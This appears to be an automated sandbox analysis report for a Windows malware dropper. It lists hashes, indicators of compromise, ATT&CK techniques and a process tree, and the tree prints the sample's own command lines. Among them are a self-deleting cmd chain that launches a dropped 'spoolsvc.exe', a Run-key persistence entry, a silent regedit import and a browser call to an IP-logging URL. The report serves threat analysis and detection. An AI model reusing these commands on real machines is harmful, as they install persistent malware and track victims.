9d50a832749b89ed5ac52dd84acf0ae6cd16196267401d1ad1cbfc8506f92bba

Analysis

max time kernel
140s
max time network
148s
platform
windows7_x64
resource
win7v20201028
submitted
09-11-2020 19:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fed55c7266cf091330b67ef4a5d8756a.exe
Size

504KB
MD5

fed55c7266cf091330b67ef4a5d8756a
SHA1

96f2724c024afae6a85dd67c4dd32adf240dffd5
SHA256

9d50a832749b89ed5ac52dd84acf0ae6cd16196267401d1ad1cbfc8506f92bba
SHA512

caad5eb4613e8316b15959f08dc6dde57d220584ad72c964bc3a7179d83ada061e3fd434e11f0b7d898ade461ef665f63c8ead4164f588927b3b9a338decdb04

Score

10^/10

discovery persistence

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2100 1692 cmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2100	1692	cmd.exe

ServiceHost packer 14 IoCs

Detects ServiceHost packer used for .NET malware

Processes:

resource	yara_rule
behavioral1/memory/1880-42-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-44-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-43-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-45-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-47-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-46-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-49-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-48-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-50-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-52-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-53-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-54-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-55-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/1880-51-0x0000000000000000-mapping.dmp	servicehost

Executes dropped EXE 4 IoCs

Processes:

wotsuper.exetmp1.exetmp2.exespoolsvc.exe

pid process

2044 wotsuper.exe
1880 tmp1.exe
1700 tmp2.exe
2184 spoolsvc.exe

pid	process
2044	wotsuper.exe
1880	tmp1.exe
1700	tmp2.exe
2184	spoolsvc.exe

Loads dropped DLL 11 IoCs

Processes:

fed55c7266cf091330b67ef4a5d8756a.exewotsuper.execmd.exeWerFault.exe

pid	process
1644	fed55c7266cf091330b67ef4a5d8756a.exe
2044	wotsuper.exe
2044	wotsuper.exe
2044	wotsuper.exe
1328	cmd.exe
1328	cmd.exe
2304	WerFault.exe
2304	WerFault.exe
2304	WerFault.exe
2304	WerFault.exe
2304	WerFault.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

spoolsvc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\VersionRecover = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\spoolsvc.exe"	spoolsvc.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in Program Files directory 3 IoCs

Processes:

fed55c7266cf091330b67ef4a5d8756a.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe	fed55c7266cf091330b67ef4a5d8756a.exe
File opened for modification	C:\Program Files (x86)\wotsuper\wotsuper\Uninstall.exe	fed55c7266cf091330b67ef4a5d8756a.exe
File created	C:\Program Files (x86)\wotsuper\wotsuper\Uninstall.ini	fed55c7266cf091330b67ef4a5d8756a.exe

Drops file in Windows directory 1 IoCs

Processes:

fed55c7266cf091330b67ef4a5d8756a.exe

description ioc process

File opened for modification C:\Windows\wotsuper.reg fed55c7266cf091330b67ef4a5d8756a.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2304 1880 WerFault.exe tmp1.exe

description	ioc	process
File opened for modification	C:\Windows\wotsuper.reg	fed55c7266cf091330b67ef4a5d8756a.exe

pid	pid_target	process	target process
2304	1880	WerFault.exe	tmp1.exe

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe	nsis_installer_2
C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe	nsis_installer_2
C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe	nsis_installer_2

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wotsuper.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wotsuper.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d01c427800b7d601	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{9AB77311-22F3-11EB-BD24-DA18B1AB4242} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a6000000000020000000000106600000001000020000000133da1a17725e33865cc39198f4938811a8835112c815c11615a7065516dbcb5000000000e80000000020000200000006ca2ed1509dbb730c4fc04ee448ad7daa6c8d67c6662a9989f654a8871f719c0900000008f31994775b4625fa50638ff4de1ef887565b4cfd0cf6d9a9c3ba4037881f34f1acecf84464a4e6d4a5ea08736fac08847732d478c89219ad175e532912896d0dbd3c18a81e70010710b32e6a0bf98e474600e28dd1ea5ae1561e27430b652aedb9c511c15cf9b5d7cf09643ec71883172f6abac51b1fc70b26dce82ad1f680f1019c687fca3a2850e6e35bf59fd33af400000008d33205a321d79794b24c6f604f52918692e6666be06f6d15aba557d101dcc68f48e26342f078906f4679356231d8110f15e5eeaedf145dd49515882e394ded3	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a600000000002000000000010660000000100002000000003a2b0e7e4d636116f655753bed2e9c9ed60e304f8cee96b8cb8bf87d2994eb7000000000e80000000020000200000000bacf6e51ccf57c942ac9582d7f62faed3259433f55848194eb840a3d44a5bd720000000d5b48ab8a16363d9b55f4b7d76b89e4be564c4bc74f2203c18005dce589e02dd40000000f601a0165e2c68f1e48a0c0bd851db204a40982d3ac78276dcdad7cb807faaf9802ec9d5b4bafccb4d5605ccd52343217b5d9b9f90dcba36232ef0d84fc2c0fe	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "311736506"	iexplore.exe

Runs .reg file with regedit 1 IoCs

Processes:

regedit.exe

pid process

884 regedit.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

spoolsvc.exe

pid process

2184 spoolsvc.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

WerFault.exe

pid process

2304 WerFault.exe
2304 WerFault.exe
2304 WerFault.exe
2304 WerFault.exe
2304 WerFault.exe
2304 WerFault.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

wotsuper.exetmp1.exeWerFault.exe

description pid process

Token: SeIncBasePriorityPrivilege 2044 wotsuper.exe
Token: SeDebugPrivilege 1880 tmp1.exe
Token: SeDebugPrivilege 2304 WerFault.exe
Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

iexplore.exeefsui.exe

pid process

2000 iexplore.exe
2068 efsui.exe
2068 efsui.exe
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

efsui.exe

pid process

2068 efsui.exe
2068 efsui.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

2000 iexplore.exe
2000 iexplore.exe
1952 IEXPLORE.EXE
1952 IEXPLORE.EXE
1952 IEXPLORE.EXE
1952 IEXPLORE.EXE

pid	process
884	regedit.exe

pid	process
2184	spoolsvc.exe

pid	process
2304	WerFault.exe
2304	WerFault.exe
2304	WerFault.exe
2304	WerFault.exe
2304	WerFault.exe
2304	WerFault.exe

description	pid	process
Token: SeIncBasePriorityPrivilege	2044	wotsuper.exe
Token: SeDebugPrivilege	1880	tmp1.exe
Token: SeDebugPrivilege	2304	WerFault.exe

pid	process
2000	iexplore.exe
2068	efsui.exe
2068	efsui.exe

pid	process
2068	efsui.exe
2068	efsui.exe

pid	process
2000	iexplore.exe
2000	iexplore.exe
1952	IEXPLORE.EXE
1952	IEXPLORE.EXE
1952	IEXPLORE.EXE
1952	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 39 IoCs

Processes:

fed55c7266cf091330b67ef4a5d8756a.exewotsuper.execmd.exeiexplore.execmd.exetmp1.exe

description	pid	process	target process
PID 1644 wrote to memory of 2044	1644	fed55c7266cf091330b67ef4a5d8756a.exe	wotsuper.exe
PID 1644 wrote to memory of 2044	1644	fed55c7266cf091330b67ef4a5d8756a.exe	wotsuper.exe
PID 1644 wrote to memory of 2044	1644	fed55c7266cf091330b67ef4a5d8756a.exe	wotsuper.exe
PID 1644 wrote to memory of 2044	1644	fed55c7266cf091330b67ef4a5d8756a.exe	wotsuper.exe
PID 1644 wrote to memory of 884	1644	fed55c7266cf091330b67ef4a5d8756a.exe	regedit.exe
PID 1644 wrote to memory of 884	1644	fed55c7266cf091330b67ef4a5d8756a.exe	regedit.exe
PID 1644 wrote to memory of 884	1644	fed55c7266cf091330b67ef4a5d8756a.exe	regedit.exe
PID 1644 wrote to memory of 884	1644	fed55c7266cf091330b67ef4a5d8756a.exe	regedit.exe
PID 2044 wrote to memory of 1328	2044	wotsuper.exe	cmd.exe
PID 2044 wrote to memory of 1328	2044	wotsuper.exe	cmd.exe
PID 2044 wrote to memory of 1328	2044	wotsuper.exe	cmd.exe
PID 2044 wrote to memory of 1328	2044	wotsuper.exe	cmd.exe
PID 1644 wrote to memory of 2000	1644	fed55c7266cf091330b67ef4a5d8756a.exe	iexplore.exe
PID 1644 wrote to memory of 2000	1644	fed55c7266cf091330b67ef4a5d8756a.exe	iexplore.exe
PID 1644 wrote to memory of 2000	1644	fed55c7266cf091330b67ef4a5d8756a.exe	iexplore.exe
PID 1644 wrote to memory of 2000	1644	fed55c7266cf091330b67ef4a5d8756a.exe	iexplore.exe
PID 1328 wrote to memory of 1880	1328	cmd.exe	tmp1.exe
PID 1328 wrote to memory of 1880	1328	cmd.exe	tmp1.exe
PID 1328 wrote to memory of 1880	1328	cmd.exe	tmp1.exe
PID 1328 wrote to memory of 1880	1328	cmd.exe	tmp1.exe
PID 1328 wrote to memory of 1700	1328	cmd.exe	tmp2.exe
PID 1328 wrote to memory of 1700	1328	cmd.exe	tmp2.exe
PID 1328 wrote to memory of 1700	1328	cmd.exe	tmp2.exe
PID 1328 wrote to memory of 1700	1328	cmd.exe	tmp2.exe
PID 2000 wrote to memory of 1952	2000	iexplore.exe	IEXPLORE.EXE
PID 2000 wrote to memory of 1952	2000	iexplore.exe	IEXPLORE.EXE
PID 2000 wrote to memory of 1952	2000	iexplore.exe	IEXPLORE.EXE
PID 2000 wrote to memory of 1952	2000	iexplore.exe	IEXPLORE.EXE
PID 2100 wrote to memory of 2132	2100	cmd.exe	choice.exe
PID 2100 wrote to memory of 2132	2100	cmd.exe	choice.exe
PID 2100 wrote to memory of 2132	2100	cmd.exe	choice.exe
PID 2100 wrote to memory of 2184	2100	cmd.exe	spoolsvc.exe
PID 2100 wrote to memory of 2184	2100	cmd.exe	spoolsvc.exe
PID 2100 wrote to memory of 2184	2100	cmd.exe	spoolsvc.exe
PID 2100 wrote to memory of 2184	2100	cmd.exe	spoolsvc.exe
PID 1880 wrote to memory of 2304	1880	tmp1.exe	WerFault.exe
PID 1880 wrote to memory of 2304	1880	tmp1.exe	WerFault.exe
PID 1880 wrote to memory of 2304	1880	tmp1.exe	WerFault.exe
PID 1880 wrote to memory of 2304	1880	tmp1.exe	WerFault.exe

C:\Users\Admin\AppData\Local\Temp\fed55c7266cf091330b67ef4a5d8756a.exe
"C:\Users\Admin\AppData\Local\Temp\fed55c7266cf091330b67ef4a5d8756a.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1644

C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
"C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\SysWOW64\cmd.exe
"cmd" /c start tmp1.exe & start tmp2.exe
3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1328

C:\Users\Admin\AppData\Local\Temp\tmp1.exe
tmp1.exe
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1880 -s 1276
5⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2304

C:\Users\Admin\AppData\Local\Temp\tmp2.exe
tmp2.exe
4⤵
- Executes dropped EXE
PID:1700

C:\Windows\SysWOW64\regedit.exe
"C:\Windows\System32\regedit.exe" \s C:\Windows\wotsuper.reg
2⤵
- Runs .reg file with regedit
PID:884

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1lBhp.html
2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2000

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2000 CREDAT:275457 /prefetch:2
3⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1952

C:\Windows\system32\efsui.exe
efsui.exe /efs /keybackup
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2068

C:\Windows\system32\cmd.exe
cmd /c choice /C Y /N /D Y /T 3 & del "C:\Users\Admin\AppData\Local\Temp\tmp2.exe" & C:\Users\Admin\AppData\Local\Microsoft\spoolsvc.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2100

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
2⤵
PID:2132

C:\Users\Admin\AppData\Local\Microsoft\spoolsvc.exe
C:\Users\Admin\AppData\Local\Microsoft\spoolsvc.exe
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2184

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
MD5
1097a83890f4f6ba87762a98166e8091

SHA1
82630ccff8a0054117bd555943a77d415b866174

SHA256
eb6bf79c7b82421439fbe0884fde1b963a56d424f1a642e7db9e56e2792a4fc8

SHA512
5ba5f76b9a08b3c523052c464187410e955a49681847c1de792590095fd190137a5f7952ec4c57d67e28fca8a17ef5ebf5bfab26ebc77beaefc0749f41b2f9d1

Download Submit
C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
MD5
1097a83890f4f6ba87762a98166e8091

SHA1
82630ccff8a0054117bd555943a77d415b866174

SHA256
eb6bf79c7b82421439fbe0884fde1b963a56d424f1a642e7db9e56e2792a4fc8

SHA512
5ba5f76b9a08b3c523052c464187410e955a49681847c1de792590095fd190137a5f7952ec4c57d67e28fca8a17ef5ebf5bfab26ebc77beaefc0749f41b2f9d1

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
54e7819a613c7bcdec3a66c867d4f1da

SHA1
8dbe6b6354017714de94600a5b03bea029c5f7fb

SHA256
99ef550a206b6c1f169bfbc2b87bc689503161821c03490480bfbe023a9af692

SHA512
d93021db162ac73b46d25c6e5afba9b6821a2d39e0ab577eccc7c418d18592e96a6291e5496c92cce5b74250500afba34dfca301280db39ac02d8d098154cde1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\w5ukms8\imagestore.dat
MD5
7e9940fdba7ec39fe8daf730e5e8d85a

SHA1
c5e25d613669a56a5400fc7a41b4891bbd2f33bb

SHA256
b3b56c78c748c66e626a19ce97454770fafa123ad104355bb97f802688a51c40

SHA512
b49aef1d0b278c380228244e9204b8368c936d24d57cd65d6e2f45b4bc196aef88a7b27ca2096ddae8e562a4f09acb90b7f5a1d0280aa1e5265998f559688374

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\spoolsvc.exe
MD5
e76739b49a4f804989d54946bc7da936

SHA1
67f4113a3af2561ef011cffc33146dc7cb48514d

SHA256
783122da15a5aaa2c6bda3b76ed0ce77d988150698b65ac0a460e207f6e623bf

SHA512
7ede05cb06ccf69e91d695127ef3fe2be8ccaf5f533355236caa7bd8c9f26178acf9f9fdfe8a0622ee7326341eb74b26256b2b3daf1c0c1a66135e2b8b26ce29

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp1.exe
MD5
ed78b5b2e535267593966c8d20a9fadc

SHA1
4d88a99d92ec6192d1279b4e6f5d52b640b72e3c

SHA256
ce6e57d77a6a5bab02eb37d771a2b225fc8b0ad24e8382ae111f277788a528e6

SHA512
603bcf69dbbde6728afc50eaa43584ef4fe39f20c5b3b4f79ea9b13801b64f94855118e89ccc46dbdf50ec289d4861f3fb8921a9464188cdbb76402727b3ba4f

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp1.exe
MD5
ed78b5b2e535267593966c8d20a9fadc

SHA1
4d88a99d92ec6192d1279b4e6f5d52b640b72e3c

SHA256
ce6e57d77a6a5bab02eb37d771a2b225fc8b0ad24e8382ae111f277788a528e6

SHA512
603bcf69dbbde6728afc50eaa43584ef4fe39f20c5b3b4f79ea9b13801b64f94855118e89ccc46dbdf50ec289d4861f3fb8921a9464188cdbb76402727b3ba4f

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp2.exe
MD5
e76739b49a4f804989d54946bc7da936

SHA1
67f4113a3af2561ef011cffc33146dc7cb48514d

SHA256
783122da15a5aaa2c6bda3b76ed0ce77d988150698b65ac0a460e207f6e623bf

SHA512
7ede05cb06ccf69e91d695127ef3fe2be8ccaf5f533355236caa7bd8c9f26178acf9f9fdfe8a0622ee7326341eb74b26256b2b3daf1c0c1a66135e2b8b26ce29

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp2.exe
MD5
e76739b49a4f804989d54946bc7da936

SHA1
67f4113a3af2561ef011cffc33146dc7cb48514d

SHA256
783122da15a5aaa2c6bda3b76ed0ce77d988150698b65ac0a460e207f6e623bf

SHA512
7ede05cb06ccf69e91d695127ef3fe2be8ccaf5f533355236caa7bd8c9f26178acf9f9fdfe8a0622ee7326341eb74b26256b2b3daf1c0c1a66135e2b8b26ce29

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\4HNDTHPZ.txt
MD5
9adda8bc47b01f5e6637b4401824bbbf

SHA1
29dbd7b754a1730cb3cf88aa28e9ceb923613e37

SHA256
44da55c3cef7dd0ab4b8a2b0aaac1af216d9fe9a53000120e027d1e27ebf2595

SHA512
254b4d5d85d6dae2c2214c0b52805e0ab1a819a38a21a82e32afc3eec98ca1744afb5db7de2aa80c834b3a5ae8f2801e6c13781a64bc32b2733144a38719ff99

Download Submit
\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
MD5
1097a83890f4f6ba87762a98166e8091

SHA1
82630ccff8a0054117bd555943a77d415b866174

SHA256
eb6bf79c7b82421439fbe0884fde1b963a56d424f1a642e7db9e56e2792a4fc8

SHA512
5ba5f76b9a08b3c523052c464187410e955a49681847c1de792590095fd190137a5f7952ec4c57d67e28fca8a17ef5ebf5bfab26ebc77beaefc0749f41b2f9d1

Download Submit
\Users\Admin\AppData\Local\Temp\nss2C01.tmp\IRq.dll
MD5
293165db1e46070410b4209519e67494

SHA1
777b96a4f74b6c34d43a4e7c7e656757d1c97f01

SHA256
49b7477db8dd22f8cf2d41ee2d79ce57797f02e8c7b9e799951a6c710384349a

SHA512
97012139f2da5868fe8731c0b0bcb3cfda29ed10c2e6e2336b504480c9cd9fb8f4728cca23f1e0bd577d75daa542e59f94d1d341f4e8aaeebc7134bf61288c19

Download Submit
\Users\Admin\AppData\Local\Temp\nss2C01.tmp\JBH.dll
MD5
44e5c77cae3ae434d1e4e619bdb1c39b

SHA1
9988f020eac45207d148668227b6819a38bdafa0

SHA256
326c406116026019a41c94b2e6b4c1061154f3bc9a395638063dae349f8a7579

SHA512
c3e40499d1296bebd2b1a770d9cd1f025859963a0f6dff002eb336f069f057ac4b3d2f5819232af6d2802ba1a3770f62440136030eb37355fa6f5b6ee0bc0470

Download Submit
\Users\Admin\AppData\Local\Temp\nss2C01.tmp\System.dll
MD5
0063d48afe5a0cdc02833145667b6641

SHA1
e7eb614805d183ecb1127c62decb1a6be1b4f7a8

SHA256
ac9dfe3b35ea4b8932536ed7406c29a432976b685cc5322f94ef93df920fede7

SHA512
71cbbcaeb345e09306e368717ea0503fe8df485be2e95200febc61bcd8ba74fb4211cd263c232f148c0123f6c6f2e3fd4ea20bdecc4070f5208c35c6920240f0

Download Submit
\Users\Admin\AppData\Local\Temp\tmp1.exe
MD5
ed78b5b2e535267593966c8d20a9fadc

SHA1
4d88a99d92ec6192d1279b4e6f5d52b640b72e3c

SHA256
ce6e57d77a6a5bab02eb37d771a2b225fc8b0ad24e8382ae111f277788a528e6

SHA512
603bcf69dbbde6728afc50eaa43584ef4fe39f20c5b3b4f79ea9b13801b64f94855118e89ccc46dbdf50ec289d4861f3fb8921a9464188cdbb76402727b3ba4f

Download Submit
\Users\Admin\AppData\Local\Temp\tmp1.exe
MD5
ed78b5b2e535267593966c8d20a9fadc

SHA1
4d88a99d92ec6192d1279b4e6f5d52b640b72e3c

SHA256
ce6e57d77a6a5bab02eb37d771a2b225fc8b0ad24e8382ae111f277788a528e6

SHA512
603bcf69dbbde6728afc50eaa43584ef4fe39f20c5b3b4f79ea9b13801b64f94855118e89ccc46dbdf50ec289d4861f3fb8921a9464188cdbb76402727b3ba4f

Download Submit
\Users\Admin\AppData\Local\Temp\tmp1.exe
MD5
ed78b5b2e535267593966c8d20a9fadc

SHA1
4d88a99d92ec6192d1279b4e6f5d52b640b72e3c

SHA256
ce6e57d77a6a5bab02eb37d771a2b225fc8b0ad24e8382ae111f277788a528e6

SHA512
603bcf69dbbde6728afc50eaa43584ef4fe39f20c5b3b4f79ea9b13801b64f94855118e89ccc46dbdf50ec289d4861f3fb8921a9464188cdbb76402727b3ba4f

Download Submit
\Users\Admin\AppData\Local\Temp\tmp1.exe
MD5
ed78b5b2e535267593966c8d20a9fadc

SHA1
4d88a99d92ec6192d1279b4e6f5d52b640b72e3c

SHA256
ce6e57d77a6a5bab02eb37d771a2b225fc8b0ad24e8382ae111f277788a528e6

SHA512
603bcf69dbbde6728afc50eaa43584ef4fe39f20c5b3b4f79ea9b13801b64f94855118e89ccc46dbdf50ec289d4861f3fb8921a9464188cdbb76402727b3ba4f

